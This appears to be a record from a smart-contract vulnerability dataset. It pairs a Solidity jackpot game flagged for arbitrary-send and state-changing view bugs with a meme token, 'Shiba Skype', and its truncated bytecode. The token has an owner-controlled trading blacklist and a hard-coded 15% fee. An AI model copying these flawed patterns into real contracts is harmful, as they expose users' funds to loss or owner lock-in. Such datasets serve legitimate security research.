uint kingdomId = kingdoms.push(Kingdom("", "", 1, 0, 0, 0, 1, refundPrice, address(0), false)) - 1;
kingdoms[kingdomId].kingdomType = _type;
kingdoms[kingdomId].title = _title;
kingdoms[kingdomId].owner = msg.sender;
kingdoms[kingdomId].key = _key;
kingdoms[kingdomId].minimumPrice = nextMinimumPrice;
kingdoms[kingdomId].locked = _locked;
round.kingdomsKeys[_key] = kingdomId;
round.kingdomsCreated[_key] = true;
if(_locked == true) {
asyncSend(bookerAddress, ACTION_TAX);
}
uint transactionId = kingdomTransactions.push(Transaction("", msg.sender, msg.value, 0, basePrice, now)) - 1;
kingdomTransactions[transactionId].kingdomKey = _key;
kingdoms[kingdomId].lastTransaction = transactionId;
lastTransaction[msg.sender] = now;
setNewJackpot(_type, basePrice, msg.sender);
LandCreatedEvent(_key, msg.sender);
}
//
// Send transaction to compensate the previous owner
//
function compensateLatestMonarch(uint lastTransaction, uint compensationWei) internal {
address compensationAddress = kingdomTransactions[lastTransaction].compensationAddress;
kingdomTransactions[lastTransaction].compensation = compensationWei;
asyncSend(compensationAddress, compensationWei);
}
//
// This function may be useful to force withdraw if user never come back to get his money
//
function forceWithdrawPayments(address payee) public onlyOwner {
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
function getStartTime() public view returns (uint startTime) {
return rounds[currentRound].startTime;
}
function getEndTime() public view returns (uint endTime) {
return rounds[currentRound].endTime;
}
function payJackpot1() internal checkIsClosed() {
address winner = getWinner(1);
if (rounds[currentRound].jackpot1.balance > 0 && winner != address(0)) {
require(this.balance >= rounds[currentRound].jackpot1.balance);
rounds[currentRound].jackpot1.winner = winner;
uint teamComission = (rounds[currentRound].jackpot1.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
bookerAddress.transfer(teamComission);
uint jackpot = rounds[currentRound].jackpot1.balance.sub(teamComission);
asyncSend(winner, jackpot);
rounds[currentRound].jackpot1.balance = 0;
}
}
function payJackpot2() internal checkIsClosed() {
address winner = getWinner(2);
if (rounds[currentRound].jackpot2.balance > 0 && winner != address(0)) {
require(this.balance >= rounds[currentRound].jackpot2.balance);
rounds[currentRound].jackpot2.winner = winner;
uint teamComission = (rounds[currentRound].jackpot2.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
bookerAddress.transfer(teamComission);
uint jackpot = rounds[currentRound].jackpot2.balance.sub(teamComission);
asyncSend(winner, jackpot);
rounds[currentRound].jackpot2.balance = 0;
}
}
function payJackpot3() internal checkIsClosed() {
address winner = getWinner(3);
if (rounds[currentRound].jackpot3.balance > 0 && winner != address(0)) {
require(this.balance >= rounds[currentRound].jackpot3.balance);
rounds[currentRound].jackpot3.winner = winner;
uint teamComission = (rounds[currentRound].jackpot3.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
bookerAddress.transfer(teamComission);
uint jackpot = rounds[currentRound].jackpot3.balance.sub(teamComission);
asyncSend(winner, jackpot);
rounds[currentRound].jackpot3.balance = 0;
}
}
function payJackpot4() internal checkIsClosed() {
address winner = getWinner(4);
if (rounds[currentRound].jackpot4.balance > 0 && winner != address(0)) {
require(this.balance >= rounds[currentRound].jackpot4.balance);
rounds[currentRound].jackpot4.winner = winner;
uint teamComission = (rounds[currentRound].jackpot4.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
bookerAddress.transfer(teamComission);
uint jackpot = rounds[currentRound].jackpot4.balance.sub(teamComission);
asyncSend(winner, jackpot);
rounds[currentRound].jackpot4.balance = 0;
}
}
function payJackpot5() internal checkIsClosed() {
address winner = getWinner(5);
if (rounds[currentRound].jackpot5.balance > 0 && winner != address(0)) {
require(this.balance >= rounds[currentRound].jackpot5.balance);
rounds[currentRound].jackpot5.winner = winner;
uint teamComission = (rounds[currentRound].jackpot5.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
bookerAddress.transfer(teamComission);
uint jackpot = rounds[currentRound].jackpot5.balance.sub(teamComission);
asyncSend(winner, jackpot);
rounds[currentRound].jackpot5.balance = 0;
}
}
//
// After time expiration, owner can call this function to activate the next round of the game
//
function activateNextRound(uint _startTime) public checkIsClosed() {
payJackpot1();
payJackpot2();
payJackpot3();
payJackpot4();
payJackpot5();
currentRound++;
rounds[currentRound] = Round(Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), 0, 0);
rounds[currentRound].startTime = _startTime;
rounds[currentRound].endTime = _startTime + 7 days;
delete kingdoms;
delete kingdomTransactions;
}
// GETTER AND SETTER FUNCTIONS
function getKingdomCount() public view returns (uint kingdomCount) {
return kingdoms.length;
}
function getJackpot(uint _nb) public view returns (address winner, uint balance) {
if (_nb == 1) {
return (getWinner(1), rounds[currentRound].jackpot1.balance);
} else if (_nb == 2) {
return (getWinner(2), rounds[currentRound].jackpot2.balance);
} else if (_nb == 3) {
return (getWinner(3), rounds[currentRound].jackpot3.balance);
} else if (_nb == 4) {
return (getWinner(4), rounds[currentRound].jackpot4.balance);
} else if (_nb == 5) {
return (getWinner(5), rounds[currentRound].jackpot5.balance);
}
}
function getKingdomType(string _kingdomKey) public view returns (uint kingdomType) {
return kingdoms[rounds[currentRound].kingdomsKeys[_kingdomKey]].kingdomType;
}
function getKingdomOwner(string _kingdomKey) public view returns (address owner) {
return kingdoms[rounds[currentRound].kingdomsKeys[_kingdomKey]].owner;
}
function getKingdomInformations(string _kingdomKey) public view returns (string title, uint minimumPrice, uint lastTransaction, uint transactionCount, address currentOwner, uint kingdomType, bool locked) {
uint kingdomId = rounds[currentRound].kingdomsKeys[_kingdomKey];
Kingdom storage kingdom = kingdoms[kingdomId];
return (kingdom.title, kingdom.minimumPrice, kingdom.lastTransaction, kingdom.transactionCount, kingdom.owner, kingdom.kingdomType, kingdom.locked);
}
// function upgradeTier(string _key) public {
// // require(now < rounds[currentRound].endTime);
// Round storage round = rounds[currentRound];
// uint kingdomId = round.kingdomsKeys[_key];
// Kingdom storage kingdom = kingdoms[kingdomId];
// uint wood = woodInterface.balanceOf(kingdom.owner);
// require(wood >= 1);
// kingdom.kingdomTier++;
// }
function getWinner(uint _type) public returns (address winner) {
require(_type > 0);
require(_type < 6);
address addr;
uint maxPoints = 0;
Round storage round = rounds[currentRound];
for (uint index = 0; index < kingdoms.length; index++) {
if (_type == kingdoms[index].kingdomType) {
address userAddress = kingdoms[index].owner;
if(kingdoms[index].kingdomTier == 1) {
round.scores[msg.sender] = round.scores[msg.sender] + 1;
} else if(kingdoms[index].kingdomTier == 2) {
round.scores[msg.sender] = round.scores[msg.sender] + 3;
} else if (kingdoms[index].kingdomTier == 3) {
round.scores[msg.sender] = round.scores[msg.sender] + 5;
} else if (kingdoms[index].kingdomTier == 4) {
round.scores[msg.sender] = round.scores[msg.sender] + 8;
} else if (kingdoms[index].kingdomTier == 5) {
round.scores[msg.sender] = round.scores[msg.sender] + 13;
}
if(round.scores[msg.sender] == maxPoints) {
if(lastTransaction[userAddress] < lastTransaction[winner]) {
addr = userAddress;
}
} else if (round.scores[msg.sender] > maxPoints) {
maxPoints = round.scores[msg.sender];
addr = userAddress;
}
}
}
return addr;
}
}
|
0x
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "constant-function-state", "impact": "Medium", "confidence": "Medium"}]}}
| 7,840 |
0x9fa16520d0bcf8ad0e6d49352c4918cd3a549f4e
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ShibaSkype is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Shiba Skype";
string private constant _symbol = " ShibaS ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280600b81526020017f536869626120536b797065000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f2053686962615320000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673fff